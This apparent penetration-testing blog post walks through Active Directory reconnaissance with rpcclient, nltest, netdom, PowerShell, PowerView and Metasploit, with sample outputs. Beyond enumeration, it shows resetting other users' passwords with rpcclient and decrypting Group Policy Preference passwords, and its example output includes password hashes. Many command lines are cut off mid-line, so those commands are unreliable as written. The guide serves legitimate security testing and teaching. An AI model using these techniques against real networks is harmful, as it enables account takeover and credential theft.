Infrastructure PenTest Series : Part 3 - Exploitation

After **vulnerability analysis** probably, we would have compromised a machine to have domain user credentials or administrative credentials. This blog presents information about

- Active Directory Reconnaissance with Domain User rights. Once, we have access to **credentials of a domain user of windows domain**, we can utilize the credentials to do windows **active directory enumeration** such as figuring out the domain controllers, users, machines, trust etc. This post looks into the various methods which are available to do the enumeration such as rpclient, enum4linux, nltest, netdom, powerview, bloodhound, adexplorer, Jexplorer, Remote Server Administration Tools, Microsoft Active Directory Topology Diagrammer, reconnaissance using powershell etc.
- Remote Code Execution Methods : Once we have **administrative credentials** there are multiple ways to get a **execute remote commands** on the remote machine such winexe, crackmapexec, impacket psexec, smbexec, wmiexec, Metasploit psexec, Sysinternals psexec, task scheduler, scheduled tasks, service controller (sc), remote registry, WinRM, WMI, DCOM, Mimikatz Pass the hash/ Pass the ticket, remote desktop etc. We have a look over all the methods with possible examples.
- Useful Stuff : Also, we would have a quick look how to add/ remove/ a local/ domain user, add/ remove a local user to administrator group, accessing remote windows machines from windows/ linux.
- Appendix-I : Interesting Stories : Presented the links of interesting blogs which might be helpful in exploitation such as blogs targeting Domain Administrator, etc.

Did we miss something? Please send us a pull request and we will add it.

Active Directory Reconnaissance

rpclient

eskoudis presents great amount of information at Plundering Windows Account Infor via Authenticated SMB Session. carnal0wnage have written Enumerating user accounts on linux and OSX and BlackHills have written Password Spraying and Other Fun with RPC Client Most of the stuff has been taken from the above three.

The below commands tell how to figure out

Connection

```
rpcclient -U xxxxs.hxxxx.net/mlxxxxh 10.0.65.103
```

Version of the target Windows machine

```
rpcclient $> srvinfo
10.0.65.103    Wk Sv BDC Tim NT
platform_id     :       500
os version      :       6.3
server type     :       0x801033
```

Enum commands

```
rpcclient $> enum

enumalsgroups  enumdomains    enumdrivers    enumkey     enumprivs
enumdata       enumdomgroups  enumforms      enumports   enumtrust
enumdataex     enumdomusers   enumjobs       enumprinter
```

Current domain

```
enumdomains
name:[xxxx] idx:[0x0]
name:[Builtin] idx:[0x0]
```

Enum Domain info

```
rpcclient $> querydominfo
Domain               :  xxxx
Server               :  HMC_PDC-TEMP
Comment              :
Total Users          :  9043
Total Groups         :  0
Total Aliases        :  616
Sequence No          :  1
Force Logoff         : -1
Domain Server State  :  0x1
Server Role          :  ROLE_DOMAIN_BDC
Unknown 3           :    0x1
```

Enum Domain users

```
rpcclient $> enumdomusers
user:[administrator] rid:[0x1f4]
user:[Guest] rid:[0x1f5]
user:[krbtgt] rid:[0x1f6]
user:[_STANDARD] rid:[0x3ee]
user:[Install] rid:[0x3fa]
user:[sko] rid:[0x43a]
user:[cap] rid:[0x589]
user:[zentrale] rid:[0x67f]
user:[dbserver] rid:[0x7d9]
user:[JVOO] rid:[0x7fa]
user:[Standard HMC User Te] rid:[0x8a0]
user:[event] rid:[0x8d5]
user:[remote] rid:[0x9ea]
user:[pda-vis1] rid:[0xb65]
user:[TestUser] rid:[0xc46]
user:[oeinstall] rid:[0x1133]
user:[repro] rid:[0x13c3]
```

Enum Domain groups

```
rpcclient $> enumdomgroups
group:[Enterprise Read-only Domain Controllers] rid:[0x1f2]
group:[Domain Admins] rid:[0x200]
group:[Domain Users] rid:[0x201]
group:[Domain Guests] rid:[0x202]
group:[Domain Computers] rid:[0x203]
group:[Domain Controllers] rid:[0x204]
group:[Schema Admins] rid:[0x206]
```

```
group:[Enterprise Admins] rid:[0x207]
group:[Group Policy Creator Owners] rid:[0x208]
group:[Read-only Domain Controllers] rid:[0x209]
group:[Cloneable Domain Controllers] rid:[0x20a]
group:[Protected Users] rid:[0x20d]
group:[xxxx Users] rid:[0x4d8]
group:[IC Members] rid:[0x50d]
group:[Event Management] rid:[0x8d7]
group:[SMSInternalCliGrp] rid:[0x9f5]
group:[IT Support] rid:[0x105b]
```

Enum Group Information and Group Membership

```
rpcclient $> querygroup 0x200
Group Name:     Domain Admins
Description:    Designated administrators of the domain
Group Attribute:7
Num Members:16
```

```
rpcclient $> querygroupmem 0x200
rid:[0x2227] attr:[0x7]
rid:[0x3601] attr:[0x7]
rid:[0x36aa] attr:[0x7]
rid:[0x36e0] attr:[0x7]
rid:[0x3c23] attr:[0x7]
rid:[0x5528] attr:[0x7]
rid:[0x1f4]  attr:[0x7]
rid:[0x363b] attr:[0x7]
rid:[0x573e] attr:[0x7]
rid:[0x56bc] attr:[0x7]
rid:[0x5e5e] attr:[0x7]
rid:[0x7fe1] attr:[0x7]
rid:[0x86d9] attr:[0x7]
rid:[0x9367] attr:[0x7]
rid:[0x829c] attr:[0x7]
rid:[0xa26e] attr:[0x7]
```

Enumerate specific User/ computer information by RID

```
rpcclient $> queryuser 0x3601
User Name   :   dummy_s
Full Name   :   Dummy User
Home Drive  :
Dir Drive   :
Profile Path:
Logon Script:
Description :   E 5.5.2008 Admin
Workstations:
Comment     :
Logon Time               :      Tue, 24 Jan 2017 19:28:14 IST
Logoff Time              :      Thu, 01 Jan 1970 05:30:00 IST
Kickoff Time             :      Thu, 14 Sep 30828 08:18:05 IST
Password last set Time   :      Fri, 21 Nov 2008 02:34:34 IST
Password can change Time :      Fri, 21 Nov 2008 02:34:34 IST
Password must change Time:      Thu, 14 Sep 30828 08:18:05 IST
```

Domain Password Policy

```
rpcclient $> getdompwinfo
min_password_length: 8
password_properties: 0x00000000
```

User password policies

```
rpcclient $> getusrdompwinfo 0x3601
min_password_length: 8
&info.password_properties: 0x433e6584 (1128162692)
0: DOMAIN_PASSWORD_COMPLEX
0: DOMAIN_PASSWORD_NO_ANON_CHANGE
1: DOMAIN_PASSWORD_NO_CLEAR_CHANGE
0: DOMAIN_PASSWORD_LOCKOUT_ADMINS
0: DOMAIN_PASSWORD_STORE_CLEARTEXT
0: DOMAIN_REFUSE_PASSWORD_CHANGE
```

Local Users

```
lsaenumsid
S-1-5-21-1971769256-327852233-3012798916-1014 Example\ftp_user (1)
S-1-5-21-1971769256-327852233-3012798916-1000 Example\example_user (1)
```

```
lookupsid S-1-5-21-1971769256-327852233-3012798916-1014
S-1-5-21-1971769256-327852233-3012798916-1014 Example\ftp_user (1)
```

Reset AD user password

As Mubix explained in [Reset AD User Password with Linux]. Often we have the credentials of limited administrative accounts such as IT or helpdesk. Sometimes, These accounts have an ability reset the password. This can be achieved in by using rpcclient in linux box provided smbclient and pass-the-hash package should be installed.

setuserinfo2 command can be used in order to change the password.

```
rpcclient $> setuserinfo2
Usage: setuserinfo2 username level password [password_expired]
result was NT_STATUS_INVALID_PARAMETER
```

Note

we won't be able to change the password of users with AdminCount = 1 (Domain Admins and other higher privileged accounts).

```
rpcclient $> setuserinfo2 ima-domainadmin 23 'ASDqwe123'
result: NT_STATUS_ACCESS_DENIED
result was NT_STATUS_ACCESS_DENIED
rpcclient $>
```

Users having alternate admin accounts can be easily targeted.

```
rpcclient $> setuserinfo2 adminuser 23 'ASDqwe123'
rpcclient $>
```

Note

The number 23 came from [MSDN article USER_INFORMATION_CLASS]. The SAMPR_USER_INTERNAL4_INFORMATION structure holds all attributes of a user, along with an encrypted password.

This can be done using the net command as well but we need to install the samba-common-bin in our machine.

```
root@kali:~# net rpc password adminuser -U helpdesk -S 192.168.80.10
Enter new password for adminuser:
Enter helpdesk's password:
root@kali:~#
```

Enum4linux

Simple wrapper around the tools in the samba package to provide similar functionality to enum.exe (formerly from www.bindview.com).

Usage

```
Usage: ./enum4linux.pl [options] ip

Options are (like "enum"):
    -U        get userlist
    -M        get machine list*
    -S        get sharelist
    -P        get password policy information
    -G        get group and member list
    -d        be detailed, applies to -U and -S
    -u user   specify username to use (default "")
    -p pass   specify password to use (default "")


Additional options:
   -a        Do all simple enumeration (-U -S -G -P -r -o -n -i).
             This option is enabled if you don't provide any other options
   -h        Display this help message and exit
   -r        enumerate users via RID cycling
   -R range  RID ranges to enumerate (default: 500-550,1000-1050, implies
   -K n      Keep searching RIDs until n consecutive RIDs don't correspond
   -l        Get some (limited) info via LDAP 389/TCP (for DCs only)
   -s file   brute force guessing for share names
   -k user   User(s) that exists on remote system (default: administrator,
             Used to get sid with "lookupsid known_username"
             Use commas to try several users: "-k admin,user1,user2"
   -o        Get OS information
   -i        Get printer information
   -w wrkg   Specify workgroup manually (usually found automatically)
   -n        Do an nmblookup (similar to nbtstat)
   -v        Verbose.  Shows full commands being run (net, rpcclient, etc
```

Example

```
enum4linux -P -d xxxx.abcxxx.net -u mluxxxx -p threxxxx 10.0.65.103
```

Active Directory Explorer (ADExplorer)

As per the TechNet article Active Directory Explorer (AD Explorer) is an advanced Active Directory (AD) viewer and editor. We can use AD Explorer to easily navigate an AD database, define favorite locations, view object properties and attributes without having to open dialog boxes, edit permissions, view an object's schema, and execute sophisticated searches that you can save and re-execute.

Sally Vandeven has written a brilliant article on Domain Goodness – How I Learned to LOVE AD Explorer Must read!

JXplorer

JXplorer is a cross platform LDAP browser and editor. It is a standards compliant general purpose LDAP client that can be used to search, read and edit any standard LDAP directory, or any directory service with an LDAP or DSML interface.

Remote Server Administration Tools

Active Directory Domain Services (AD DS) Tools and Active Directory Lightweight Directory Services (AD LDS) Tools includes Active Directory Administrative Center; Active Directory Domains and Trusts; Active Directory Sites and Services; Active Directory Users and Computers; ADSI Edit; DCPromo.exe; LDP.exe; NetDom.exe; NTDSUtil.exe; RepAdmin.exe; Active Directory module for Windows PowerShell; DCDiag.exe; DSACLs.exe; DSAdd.exe; DSDBUtil.exe; DSMgmt.exe; DSMod.exe; DSMove.exe; DSQuery.exe; DSRm.exe; GPFixup.exe; KSetup.exe; KtPass.exe; NlTest.exe; NSLookup.exe; W32tm.exe.

Active Directory Administrative Center; Active Directory Domains and Trusts; Active Directory Sites and Services; Active Directory Users and Computers; ADSI Edit; are GUI tools. These can be installed by installing Remote Server Administration Tools

nltest

Nltest is a command-line tool to perform network administrative tasks. We could figure out the Domain Controllers/ Domain Trusts using it. It is built into Windows Server 2008 and Windows Server 2008 R2. It is available if you have the AD DS or the AD LDS server role installed. It is also available if you install the Active Directory Domain Services Tools that are part of the Remote Server Administration Tools (RSAT).

Usage

```
nltest /?
Usage: nltest [/OPTIONS]


   /SERVER:<ServerName> - Specify <ServerName>

   /QUERY - Query <ServerName> netlogon service
   /DCLIST:<DomainName> - Get list of DC's for <DomainName>
   /DCNAME:<DomainName> - Get the PDC name for <DomainName>
   /DSGETDC:<DomainName> - Call DsGetDcName /PDC /DS /DSP /GC /KDC /TIMESI
       /TRY_NEXT_CLOSEST_SITE /SITE:<SiteName> /ACCOUNT:<AccountName> /RE
   /DNSGETDC:<DomainName> - Call DsGetDcOpen/Next/Close /PDC /GC /KDC /WR
   /DSGETFTI:<DomainName> - Call DsGetForestTrustInformation /UPDATE_TDO
   /DSGETSITE - Call DsGetSiteName
   /DSGETSITECOV - Call DsGetDcSiteCoverage
   /DSADDRESSTOSITE:[MachineName] - Call DsAddressToSiteNamesEx        /AD
   /PARENTDOMAIN - Get the name of the parent domain of this machine
   /WHOWILL:<Domain>* <User> [<Iteration>] - See if <Domain> will log on
   /FINDUSER:<User> - See which trusted domain will log on <User>
   /USER:<UserName> - Query User info on <ServerName>
   /TIME:<Hex LSL> <Hex MSL> - Convert NT GMT time to ascii
   /LOGON_QUERY - Query number of cumulative logon attempts
   /DOMAIN_TRUSTS - Query domain trusts on <ServerName>
       /PRIMARY /FOREST /DIRECT_OUT /DIRECT_IN /ALL_TRUSTS /V
```

Examples

Verify domain controllers in a domain

```
nltest /dclist:xxx.example.net
Get list of DCs in domain 'xxx.example.net' from '\\ABCDEFG.xxx.example.ne
      ABCDEFG1.xxx.example.net        [DS] Site: XX-SriLanka
      ABCDEFG2.xxx.example.net        [DS] Site: XX-India
      ABCDEFG5.xxx.example.net [PDC]  [DS] Site: XX-Bangladesh
The command completed successfully
```

Advanced information about users

```
nltest /user:"TestAdmin"
User: User1
Rid: 0x3eb
Version: 0x10002
LastLogon: 2ee61c9a 01c0e947 = 5/30/2001 13:29:10
PasswordLastSet: 9dad5428 01c0e577 = 5/25/2001 17:05:47
AccountExpires: ffffffff 7fffffff = 9/13/30828 19:48:05
PrimaryGroupId: 0x201
UserAccountControl: 0x210
CountryCode: 0x0
CodePage: 0x0
BadPasswordCount: 0x0
LogonCount: 0x33
AdminCount: 0x1
SecurityDescriptor: 80140001 0000009c 000000ac 00000014 00000044 00300002
02 0014c002 01050045 00000101 01000000 00000000 0014c002 000f07ff 0000010
000 00000007 00580012 00000003 00240000 00020044 00000501 05000000 000000
b7b4 7112b3f1 2b3be507 000003eb 00180000 000f07ff 00000201 05000000 000000
00220 00140000 0002035b 00000101 01000000 00000000 00000201 05000000 00000
000220 00000201 05000000 00000020 00000220
 AccountName: User1
Groups: 00000201 00000007
LmOwfPassword: fb890c9c 5c7e7e09 ee58593b d959c681
NtOwfPassword: d82759cc 81a342ac df600c37 4e58a478
NtPasswordHistory: 00011001
LmPasswordHistory: 00010011
The command completed successfully
```

Determine the PDC emulator for a domain

```
nltest /dcname:fourthcoffee
PDC for Domain fourthcoffee is \\fourthcoffee-dc-01
The command completed successfully
```

Show trust relationships for a domain

Returns a list of trusted domains. /Primary /Forest /Direct_Out /Direct_In /All_Trusts /v.

The following list shows the values that you can use to filter the list of domains.

- /Primary: Returns only the domain to which the computer account belongs.
- /Forest: Returns only those domains that are in the same forest as the primary domain.

- /Direct_Out: Returns only the domains that are explicitly trusted with the primary domain.
- /Direct_In: Returns only the domains that explicitly trust the primary domain.
- /All_Trusts: Returns all trusted domains.
- /v: Displays verbose output, including any domain SIDs and GUIDs that are available.

```
nltest /domain_trusts

List of domain trusts:
   0: ABC abc.example.net (NT 5) (Forest: 17) (Direct Outbound) (Direct In
   1: DEF def.example.net (NT 5) (Forest: 17) (Direct Outbound) (Direct In
   2: IJK IJK.NET (NT 5) (Direct Inbound) ( Attr: 0x8 )
   3: LMN LMH.net (NT 5) (Direct Outbound) ( Attr: 0x18 )
   4: APP app.example.net (NT 5) (Forest: 17) (Direct Outbound) (Direct In
```

Thanks to Tanoy Bose for informing me about this. Cheers Bose.

netdom

netdom: netdom is a command-line tool that is built into Windows Server 2008 and Windows Server 2008 R2. It is available if you have the Active Directory Domain Services (AD DS) server role installed. It is also available if you install the Active Directory Domain Services Tools that are part of the Remote Server Administration Tools (RSAT). More information available at Netdom query.

Usage

```
netdom query {/d: | /domain:}<Domain> [{/s: | /server:}<Server>] [{/ud: |

Specifies the type of list to generate. The following list shows the possi
WORKSTATION: Queries the domain for the list of workstations.
SERVER: Queries the domain for the list of servers.
DC    : Queries the domain for the list of domain controllers.
OU    : Queries the domain for the list of OUs under which the user that yo
PDC   : Queries the domain for the current primary domain controller.
FSMO : Queries the domain for the current list of operations master role h
TRUST: Queries the domain for the list of its trusts.
```

Examples

DC

Queries the domain for the list of workstations:

```
PS C:\> netdom query /domain example.net DC
List of domain controllers with accounts in the domain:

xxxxDC12
xxxxDC11
xxxxDC04
xxxxDC03
The command completed successfully.
```

PDC

Queries the domain for the current primary domain controller

```
PS C:\> netdom query /domain example.net PDC
Primary domain controller for the domain:

xxxxDC03.example.net
The command completed successfully.
```

FSMO

Queries the domain for the current list of operations master role holders.

```
PS C:\> netdom query /domain example.net FSMO
Schema master               xxxxDC03.example.net
Domain naming master        xxxxDC03.example.net
PDC                         xxxxDC03.example.net
RID pool manager            xxxxDC03.example.net
Infrastructure master       xxxxDC03.example.net
The command completed successfully.
```

TRUST

Queries the domain for the list of its trusts

```
PS C:\> netdom query /domain example.net TRUST
Direction Trusted\Trusting domain      Trust type
========= =======================      ==========

<->       xxxx.xxxxxx.net              Direct
<->       xxxx.example.net             Direct
<->       XX.XXXxXX.NET                Direct
```

OU

Queries the domain for the list of OUs under which the user that you specify can create a computer object.

```
PS C:\> netdom query /domain abc.example.net OU
List of Organizational Units within which the specified user can create a
machine account:

OU=Domain Controllers,DC=abc,DC=example,DC=net
OU=ABC-Admin,DC=abc,DC=example,DC=net
OU=ServiceAccounts,OU=ABC-Admin,DC=abc,DC=example,DC=net
OU=Users,OU=ABC-Admin,DC=abc,DC=example,DC=net
OU=Groups,OU=ABC-Admin,DC=abc,DC=example,DC=net
OU=Service Accounts,DC=abc,DC=example,DC=net
OU=Servers,OU=ABC-Admin,DC=abc,DC=example,DC=net
DC=abc,DC=example,DC=net
The command completed successfully.
```

SERVER/ WORKSTATION

Queries the domain for the list of servers/ workstations

```
PS C:\> netdom query /domain abc.example.net WORKSTATION
List of workstations with accounts in the domain:

ABCDC02      ( Workstation or Server )
```

```
ABCDC01      ( Workstation or Server )
ABCDC03      ( Workstation or Server )
ABCDC04      ( Workstation or Server )
BSKMACDB62   ( Workstation or Server )

The command completed successfully.

PS C:\>
```

Microsoft Active Directory Topology Diagrammer

The Microsoft Active Directory Topology Diagrammer reads an Active Directory configuration using LDAP, and then automatically generates a Visio diagram of your Active Directory and /or your Exchange Server topology. The diagrams may include domains, sites, servers, organizational units, DFS-R, administrative groups, routing groups and connectors and can be changed manually in Visio if needed.

AD Reconnaissance with PowerShell

Sean Metcalf has written an awesome blog regarding the Active Directory Recon without Admin Rights Most of the below stuff has been directly taken from his blog.

The enumeration of the active directory can also be carried forward using the normal domain user account. After gathering the domain user credentials launch the powershell by the following command on the command prompt.

```
C:\> Powershell -nop -exec bypass -noexit
```

Forest Information

The current forest information can be gathered by using the following powershell code

```
PS C:\> [System.DirectoryServices.ActiveDirectory.Forest]::GetCurrentFores

Name                 : ABC.com
Sites                : {Default-First-Site-Name}
Domains              : {ABC.com}
GlobalCatalogs       : {WIN-OK0HIC2UCIH.ABC.com}
ApplicationPartitions : {DC=DomainDnsZones,DC=ABC,DC=com, DC=ForestDnsZone
                       ABC,DC=com}
ForestMode           : Windows2008R2Forest
RootDomain           : ABC.com
Schema               : CN=Schema,CN=Configuration,DC=ABC,DC=com
SchemaRoleOwner      : WIN-OK0HIC2UCIH.ABC.com
NamingRoleOwner      : WIN-OK0HIC2UCIH.ABC.com
```

Domain Information

The current domain information to which the domain user is a part can be easily gathered by issuing the following powershell code

```
PS C:\> [System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDoma

Forest                  : ABC.com
DomainControllers       : {WIN-OK0HIC2UCIH.ABC.com}
Children                : {}
DomainMode              : Windows2008R2Domain
Parent                  :
```

```
PdcRoleOwner              : WIN-OK0HIC2UCIH.ABC.com
RidRoleOwner              : WIN-OK0HIC2UCIH.ABC.com
InfrastructureRoleOwner : WIN-OK0HIC2UCIH.ABC.com
Name                      : ABC.com
```

Forest Trusts

The trust between the present forests can be obtained by the following powershell code

```
$ForestRootDomain = 'lab.adsecurity.org'
([System.DirectoryServices.ActiveDirectory.Forest]::GetForest((New-Object
```

Domain Trusts

The trusts relationship between the current domain and associated domain can be enumerated by the following

```
PS C:\> ([System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDoma
```

By gathering this information, An attacker can determine the attack surface area by residing in current domain.

Forest Global Catalogs

```
PS C:\> [System.DirectoryServices.ActiveDirectory.Forest]::GetCurrentFores
```

> Note
>
> Typically every DC is also a Global catalog

Enterprise Services without scanning of Network

The services offered by the particular can also be identified using a simple powershell code. This type of information gathering is a stealthy approach as the service scanning of network may sometimes trigger the alarm. This type of approach is carried out by scanning the SPN (Service Principal Names). The information related to RDP enabled workstations, WinRM Enabled, Exchange servers, SQL servers etc. can be enumerated.

```
PS C:\> get-adcomputer -filter {ServicePrincipalName -like "*TERMSRV*"} -P
PasswordLastSet,LastLogonDate,ServicePrincipalName,TrustedForDelegation,Tr
```

> Note
>
> Both the computers and users (Service accounts) are to be targeted in order to determine the Enterprise services.

SPN-Scanning

Microsoft states that “A service principal name (SPN) is the name by which a client uniquely identifies an instance of a service.” using the SPN scanning we identify the common servers such as IIS, SQL Server, and LDAP. Mostly, the convention of the SPN is formatted as SERVICE/HOST but sometimes the port no. associated is also given such as SERVICE/HOST:PORT.

```
DNS/win2008k001.ABC.com   MSSQLSvc/win2008k002.ABC.com:1600
```

The above example shows that if the Domain Account is used to run the DNS and SQL services on ABC.com the SPN entries would be the same. Here we can use ADFind.exe to list all the SQL server instances registered on a domain by using the code

```
C: >Adfind.exe -f "ServicePrincipalName=MSSQLSvc*"
```

we can also use setspn.exe (comes with the windows server 2008) can be used to lookup the SPNs for a particular user.

```
C: >setspn.exe -l "UserName"
```

SPN Scanning using Powershell

Scott Sutherland has written about SPN scanning techniques at Faster Domain Esclation using LDAP .The Get-SPN Powershell module provides us to quickly search LDAP for accounts related to specific groups, users or SPN service name. Once Downloaded the script run the following command in a command prompt in order to install it for the current session.

```
C:\> Powershell -nop -exec bypass -noexit (change the directory pointing t
PS C:\> Import-Module .\Get-SPN.psm1
```

Find All Servers where Domain Admins are Registered to Run Services. If we are using the Domain User or local system from a particular Domain computer use the following command

```
Get-SPN -type group -search "Domain Admins" -List yes | Format-Table -Auto
```

for a non domain system with domain credentials we can use the command below

```
Get-SPN  -type group -search "Domain Admins" -List yes -DomainController 1
```

Find all registered SQL Servers, Dcom, dnscache etc.

for identifying the services using the Domain User or localsystem from a particular Domain computer use the following command

```
Get-SPN  -type service -search "MSSQLSvc*" -List yes | Format-Table -Autos
```

for other than Servers, below is a list of standard SPN service names.

```
alerter,appmgmt,browser,cifs,cisvc,clipsrv,dcom,dhcp,dmserver,dns,dnscache
http,ias,iisadmin,messenger,msiserver,mcsvc,netdde,netddedsm,netlogon,netr
protectedstorage,rasman,remoteaccess,replicator,rpc,rpclocator,rpcss,rsvp
snmp,spooler,tapisrv,time,trksvr,trkwks,ups,w3svc,wins,www
```

To find All the ServicePrincipalName Entries for Domain Users Matching String by executing the command as domain user or LocalSystem from a domain computer then you can use the command below.

```
Get-SPN  -type user -search "*svc*" -List yes
```

Discovering the Service Accounts

By Doing an SPN Scan for user accounts with Service Principal Names the service Accounts and the server accounts used can be identified.

```
PS C:\> get-aduser -filter {ServicePrincipalName -like “*”} -Properties Pa
```

Discovering the Computers and Domain Controllers without scanning the network

The information regarding the computer operating system, DNSHostName, LastLogon Date etc. can also be gathered. Since every computer joining the active directory has an associated computer account in AD. When the computer is joined, several attributes such as date created, Modified, OperatingSystemVersion etc. are associated with this computer object that are updated. Such information can also be further used for lateral movements.

```
PS C:\> get-adcomputer -filter {PrimaryGroupID -eq “515”} -Properties Oper
Passwot,LastLogonDate,ServicePrincipalName,TrustedForDelegation,TrustedtoA
```

The same information regarding the Domain Controllers can also be gathered by simply changing the PrimaryGroupID value to ‘516’. to obtain the details of all the computers in active directory by simply putting a wildcard mask in the filter parameter such as “-filter * “.

Identifying the Admin Accounts

The privileged accounts can be identified using two methods. The first one is by doing a detailed group enumeration, by doing this all members of the standard Active Directory admin groups: Domain Admins, Administrators, Enterprise Admins, etc. one such command is “Net Group “Domain Admins” /Domain” which will give us the list of Domain Administrators.

Another method is by identifying all accounts which have the attribute “AdminCount” set to 1. However, this may not be sometimes accurate since there may be accounts returned in this query which no longer have admin rights because these values aren’t automatically reset even if the accounts are disabled or no longer a part of Admins group.

```
PS C:\> get-aduser -filter {AdminCount -eq 1} -Properties Name,AdminCount
```

This query will give us the “AdminCount :1” which indicates that the account is privileged account.

Finding the Admin Groups

Most of the organizations follow a naming convention for the admin groups such as Domain Admins, Server Admins, Workstation Admins, Administrators etc. By Querying the Active Directory for groups with Admin as term we can identify the administrator groups.

```
PS C:\> get-adgroup -filter {GroupCategory -eq ‘Security’ -AND Name -like
```

Domain Password Policy

The Domain password policy can be easily gathered either by using Net Accounts or Get-ADDefaultPasswordPolicy.

```
Get-ADDefaultDomainPasswordPolicy
Net Accounts
```

> Note
>
> To use Get-ADDefaultPasswordPolicy PowerView.PS1 module is to be imported first.

Identifying the Groups with Local Admin Rights to windows machines

Using the Powerview.PS1 module we can easily identify the identify GPOs that include Restricted Groups.

```
PS C:\> Get-NetGPOGroup
```

we can also check to what OUs the GPOs link using a PowerView cmdlet.

```
get-netOU -guid “GPOName Obtained Above”
```

next to identify the workstations/servers in the OU

```
get-adcomputer -filter * -SearchBase “Result of the above”
```

PowerShell [adsiSearcher] Type Accelerator

If we have credentials of the user and a powershell prompt, we can utilize adsiSearcher to do the AD Enumeration

Define username, password, Domain, etc.

```
$username = 'BITVIJAYS\LDAP'
$password = 'PasswordForSearch!'
$DomainControllerIpAddress = '10.2.2.2'
$LdapDn = 'DC=bitvjays,DC=local'
```

Initialize the connection

When credentials are present and we are connecting using a non-domain machine, use below

```
$dn = New-Object System.DirectoryServices.DirectoryEntry ("LDAP://$($Doma
$ds = New-object System.DirectoryServices.DirectorySearcher($dn)
```

When you are already connected to the domain machine

[adsisearcher]"" specifies a filter that has no characters in it. The good thing is that the searchroot is automatically set to the root of the current domain.

```
$ds = [adsisearcher]""
```

Finding the Domain Name

```
$ds.SearchRoot
distinguishedName : {DC=bitvijays,DC=local}
Path : LDAP://DC=bitvijays,DC=local
```

Finding the Computers

```
PS > $ds.Filter ="((objectCategory=computer))"
PS > $ds.FindAll() --- Provides all the objects in the AD for computers
PS > $ds.FindOne() --- Provides one object in the AD for computers
```

Result

```
Path                                                                Prop
----                                                                ----
LDAP://10.2.2.2:389/CN=DC,OU=Domain Controllers,DC=bitvijays,DC=local {ric
LDAP://10.2.2.2:389/CN=FILE,CN=Computers,DC=bitvijays,DC=local      {log
```

Finding the Users:

```
PS > $ds.Filter ="((objectCategory=user))"
PS > $ds.FindAll() --- Provides all the objects in the AD for users
```

Properties of the object

We can use

```
$ds.FindOne().properties
$ds.FindAll().properties
```

to find the properties of the object. Once the properties are found, we can search for any particular object based on regex.

Examples:

- Finding a particular user named Bob

Check the properties of the user

```
Properties of a user
PS > $ds.findOne().properties

Name                           Value
----                           -----
objectcategory                 {CN=Person,CN=Schema,CN=Configur
name                           {Administrator}
cn                             {Administrator}
admincount                     {1}
samaccountname                 {Administrator}
```

Then particularly search for a user

```
PS > $ds.Filter ="((name=*Bob*))"
PS > $ds.Findall()

Path
----
LDAP://10.2.2.2:389/CN=Bobby John,OU=People,DC=bitvijays,DC=loc
```

- Finding all users of a particular group

```
$ds.filter = "(&(objectCategory=user)(memberOf=CN=Domain Admins
```

Get sessions of remote machines

Powerview Get-NetSession

net session

- Net session of current computer

```
net session

Computer               User name            Client Type       C

-------------------------------------------------------------------
\\127.0.0.1            Administrat0r

The command completed successfully.
```

- Net session of remote computer

```
net session \\computername
```

WMI

We can use wmi to get the remote logged on users. However, I believe to run wmi on remote machine, you need to be administrator of that machine.

```
wmic:root\cli> /node:"computername" path win32_loggeduser get antecedent

\\.\root\cimv2:Win32_Account.Domain="ABCROOT",Name="axx.xxxxx"
```

```
\\.\root\cimv2:Win32_Account.Domain="ABCROOT",Name="srv.xxxxx"
\\.\root\cimv2:Win32_Account.Domain="ABCROOT",Name="axx.xxxxx"
\\.\root\cimv2:Win32_Account.Domain="MA",Name="axxd.xxxxx"
\\.\root\cimv2:Win32_Account.Domain="DC",Name="ANONYMOUS LOGON"
```

View users in Domain / Workgroup

Powerview Get-NetUser

net user /domain

WMI

Domain users:

```
wmic useraccount list /format:list
```

View machines in Domain/ Workgroup

Powerview Get-NetComputers

net view /domain

? - check the functionality

View machines affected by GPP vulnerability

When we run Get-GPPPassword, we get output like

```
Password: password@123
Changed : 2013-07-02 01:01:23
Username: Administrator
NewName :
File    : \\Demo.lab\sysvol\demo.lab\Policies\{31B2F340-016D-11D2-945F-00(
```

To get the computers using the passwords set by the GPP, we can use

```
Get-NetOU -GUID "{31B2F340-016D-11D2-945F-00C04FB984F9}" | %{ Get-NetCompu
```

Get-NetSite function, which returns the current sites for a domain, also accepts the -GUID filtering flag. This information has been taken from harmj0y blog gpp and powerview

More information about GPP should be read from Sean Metcalf blog Using Group Policy Preferences for Password Management = Bad Idea and Finding Passwords in SYSVOL & Exploiting Group Policy Preferences

There are various methods to figure out the GPP Password if it's set.

- Get-GPPPassword.ps1 : **PowerShell script** that can identify and extract the password(s) stored in Group Policy Preferences using the MSDN AES key.
- **Metasploit auxiliary module - SMB Group Policy Preference Saved Passwords Enumeration** : This module enumerates files from target domain controllers and

connects to them via SMB. It then looks for Group Policy Preference XML files containing local/domain user accounts and passwords and decrypts them using Microsoft's public AES key. This module has been tested successfully on a Win2k8 R2 Domain Controller. (Requires domain user credentials)

```
use auxiliary/scanner/smb/smb_enum_gpp
set smbdomain example.com
set smbuser user
set smbpass pass
set rhosts 192.168.56.2
```

Thanks to Tanoy Bose for informing about this!. Previously, we used to manually search the SYSVOL location! (When for some reason Get-GPPPassword doesn't work!)

- **Meterpreter session**, we can use metasploit post module - Windows Gather Group Policy Preference Saved Passwords : This module enumerates the victim machine's domain controller and connects to it via SMB. It then looks for Group Policy Preference XML files containing local user accounts and passwords and decrypts them using Microsoft's public AES key. Cached Group Policy files may be found on end-user devices if the group policy object is deleted rather than unlinked.

```
use post/windows/gather/credentials/gpp
set session <Session_Number>
```

- **Reading Group Policies** manually stored here: \<DOMAIN>\SYSVOL\<DOMAIN>\Policies\

View group in Domain / Workgroup

Powerview Get-NetGroupMember

Net group / domain

Windows Resource Kit Local/ Global executable

- Global.exe

```
PS C:\> .\global.exe

Displays members of global groups on remote servers or domains.

GLOBAL group_name domain_name | \\server

group_name    The name of the global group to list the members
domain_name   The name of a network domain.
\\server      The name of a network server.

Examples:
Global "Domain Users" EastCoast
Displays the members of the group 'Domain Users' in the EastCoa

Global PrintUsers \\BLACKCAT
Displays the members of the group PrintUsers on server BLACKCAT

Notes:
Names that include space characters must be enclosed in double
```

```
To list members of local groups use Local.Exe.
To get the Server name for a give Domain use GetDC.Exe.
```

Example:

```
PS C:\> .\global.exe "Domain Admins" \\domainname
Uraxxxx
axx.xxxxx
axx.xxxxx2
axx.xxxxxx3
```

BloodHound Group Memberships

WMI user groups

```
wmic group list brief
ABCD\SUS Administrator    ABCD          SUS Administrator
